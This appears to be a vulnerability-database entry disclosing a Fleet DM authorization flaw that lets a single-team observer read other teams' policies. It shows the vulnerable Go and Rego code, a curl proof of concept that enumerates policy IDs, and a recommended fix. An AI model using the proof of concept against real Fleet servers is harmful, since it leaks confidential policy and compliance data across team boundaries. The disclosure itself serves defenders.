Severity by source
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
Network-accessible REST API requiring only a valid low-privilege team session; impact is limited to partial confidentiality loss of policy metadata with no integrity or availability effects.
Primary rating from Vendor (https://github.com/fleetdm/fleet).
CVSS VectorVendor: https://github.com/fleetdm/fleet
Lifecycle Timeline
2DescriptionCVE.org
Summary
The global policy read endpoint (GET /api/latest/fleet/policies/{policy_id}) performs authorization against an empty fleet.Policy{} struct with nil TeamID, then fetches any policy by ID from the database without verifying the fetched policy actually belongs to the global scope. This allows a user with observer-level access on any single team to read the full details of policies belonging to any other team, bypassing Fleet's team isolation model.
Details
The vulnerability is in GetPolicyByIDQueries at server/service/global_policies.go:163-180:
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
// Auth check uses empty Policy{} - TeamID is nil
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
// Fetches ANY policy by ID, regardless of team ownership
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// ... populates install_software and run_script, returns full policy
return policy, nil
}The authorization passes because the OPA rule at server/authz/policy.rego:724-728 allows reading policies with null team_id for any user who holds a role on any team:
allow {
is_null(object.team_id)
object.type == "policy"
team_role(subject, subject.teams[_].id) == [admin, maintainer, technician, observer, observer_plus][_]
action == read
}Since the auth object has nil TeamID, this rule fires for any team member. After authorization, ds.Policy() calls policyDB() at server/datastore/mysql/policies.go:283-288 with a nil teamID:
func policyDB(ctx context.Context, q sqlx.QueryerContext, id uint, teamID *uint) (*fleet.Policy, error) {
teamWhere := "TRUE" // nil teamID → no team filter
args := []interface{}{id}
if teamID != nil {
teamWhere = "team_id = ?"
args = append(args, *teamID)
}
// ... executes SELECT with WHERE p.id = ? AND {teamWhere}This returns any policy regardless of team ownership, and the full policy object is returned to the caller without any post-fetch team verification.
By contrast, the properly-secured endpoints verify team scope:
GetTeamPolicyByIDQueries(team_policies.go:421-428) setsTeamID: ptr.Uint(teamID)on the auth object and callsds.TeamPolicy()which filters by teamDeleteGlobalPolicies(global_policies.go:255-263) explicitly checkspolicy.PolicyData.TeamID != nilafter fetching
PoC
Prerequisites: A Fleet instance with at least two teams. User A has observer role on Team 1 only. Team 2 has policies that User A should not be able to view.
# Step 1: Authenticate as User A (Team 1 observer only)
TOKEN=$(curl -s -X POST https://fleet.example.com/api/latest/fleet/login \
-H 'Content-Type: application/json' \
-d '{"email":"team1observer@example.com","password":"password"}' | jq -r '.token')
# Step 2: Enumerate policy IDs (they are sequential integers)
# Attempt to read a policy belonging to Team 2 (e.g., policy ID 5)
curl -s -H "Authorization: Bearer $TOKEN" \
https://fleet.example.com/api/latest/fleet/policies/5
# Expected: 403 Forbidden (user has no access to Team 2)
# Actual: 200 OK with full policy data:
# {
# "policy": {
# "id": 5,
# "name": "Team 2 Sensitive Policy",
# "query": "SELECT * FROM sensitive_table WHERE ...",
# "team_id": 2,
# "passing_host_count": 42,
# "failing_host_count": 7,
# "description": "...",
# "resolution": "...",
# ...
# }
# }Impact
An authenticated user with observer-level access on any single team can:
- Read SQL queries from all team policies across the Fleet instance, potentially revealing security monitoring strategies, compliance checks, and internal infrastructure details
- View host pass/fail counts for other teams' policies, leaking compliance posture data across team boundaries
- Access software installer and script metadata associated with other teams' policies via the
populatePolicyInstallSoftwareandpopulatePolicyRunScriptcalls - Enumerate all policies by iterating sequential integer IDs
This breaks Fleet's team isolation model, which is designed to restrict visibility between teams. Organizations using teams to separate departments, clients, or security zones would have their policy data exposed across boundaries.
Recommended Fix
Add a post-fetch check in GetPolicyByIDQueries to verify the returned policy is actually a global policy (nil TeamID), consistent with how DeleteGlobalPolicies operates:
func (svc Service) GetPolicyByIDQueries(ctx context.Context, policyID uint) (*fleet.Policy, error) {
if err := svc.authz.Authorize(ctx, &fleet.Policy{}, fleet.ActionRead); err != nil {
return nil, err
}
policy, err := svc.ds.Policy(ctx, policyID)
if err != nil {
return nil, err
}
// Verify this is actually a global policy - team policies must be
// accessed via the team-scoped endpoint which enforces team authorization
if policy.TeamID != nil {
return nil, authz.ForbiddenWithInternal(
"attempting to read team policy via global endpoint",
authz.UserFromContext(ctx),
policy,
fleet.ActionRead,
)
}
if err := svc.populatePolicyInstallSoftware(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate install_software")
}
if err := svc.populatePolicyRunScript(ctx, policy); err != nil {
return nil, ctxerr.Wrap(ctx, err, "populate run_script")
}
return policy, nil
}Alternatively, re-authorize against the actual fetched policy object so OPA rules properly evaluate team membership, similar to how other Fleet endpoints handle object-level authorization.
AnalysisAI
Cross-team policy data exposure in Fleet DM allows any authenticated user holding observer-level access on a single team to read the full policy details - including SQL queries, host compliance counts, and software/script metadata - of policies belonging to any other team in the instance. The vulnerability stems from an authorization check performed against a placeholder empty struct (nil TeamID) rather than the actual fetched policy object, causing Fleet's OPA authorization engine to incorrectly grant access. A public proof-of-concept is included in the GitHub advisory (GHSA-gm7f-v959-fr2g); no active exploitation has been confirmed via CISA KEV. The issue is fixed in Fleet DM v4.85.0.
Technical ContextAI
Fleet DM is a Go-based open-source device management platform (CPE: pkg:go/github.com_fleetdm_fleet_v4) that uses Open Policy Agent (OPA) for endpoint-level authorization. The root cause is CWE-863 (Incorrect Authorization): the service method GetPolicyByIDQueries at server/service/global_policies.go performs an OPA authorization check against a fabricated empty fleet.Policy{} struct with a nil TeamID field, rather than the actual policy object retrieved from the database. Because the OPA rule at server/authz/policy.rego grants read access to any policy with a null team_id to any user holding any team role, the check always passes for authenticated team members. The subsequent database call in policyDB() at server/datastore/mysql/policies.go omits a team filter when teamID is nil, returning any policy by integer ID without scoping to the caller's team. This is a classic confused-deputy / TOCTOU authorization pattern: authorization is evaluated on a proxy object, not the actual resource, so the privilege check and the resource retrieval are decoupled. The correctly implemented endpoints (GetTeamPolicyByIDQueries and DeleteGlobalPolicies) demonstrate the intended pattern - authorizing against the real fetched object or performing a post-fetch team membership assertion.
RemediationAI
Upgrade to Fleet DM v4.85.0, which contains the vendor-released patch. The recommended fix (described in the advisory) adds a post-fetch assertion in GetPolicyByIDQueries that returns a Forbidden error if the fetched policy has a non-nil TeamID, mirroring the existing check in DeleteGlobalPolicies. See the advisory at https://github.com/fleetdm/fleet/security/advisories/GHSA-gm7f-v959-fr2g for patch details. If immediate upgrade is not possible, a compensating control is to restrict the GET /api/latest/fleet/policies/{policy_id} endpoint at the network or reverse-proxy layer to users with confirmed global admin or global observer roles only - however, this would break legitimate global-policy read functionality for team-scoped users and requires careful testing. Alternatively, organizations using Fleet's team isolation model for hard trust boundaries (e.g., MSSPs separating clients) should consider restricting API access to this endpoint to trusted internal networks until the patch is applied.
Same weakness CWE-863 – Incorrect Authorization
View allSame technique Authentication Bypass
View allVendor StatusVendor
SUSE
Severity: Moderate| Product | Status |
|---|---|
| SUSE Linux Enterprise Server 16.1 | Affected |
| SUSE Linux Enterprise Server for SAP applications 16.1 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP5 | Affected |
| SUSE Linux Enterprise Module for Package Hub 15 SP6 | Affected |
| openSUSE Leap 15.5 | Affected |
| openSUSE Leap 15.6 | Affected |
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External POC / Exploit Code
Leaving vuln.today
EUVD-2026-66659
GHSA-gm7f-v959-fr2g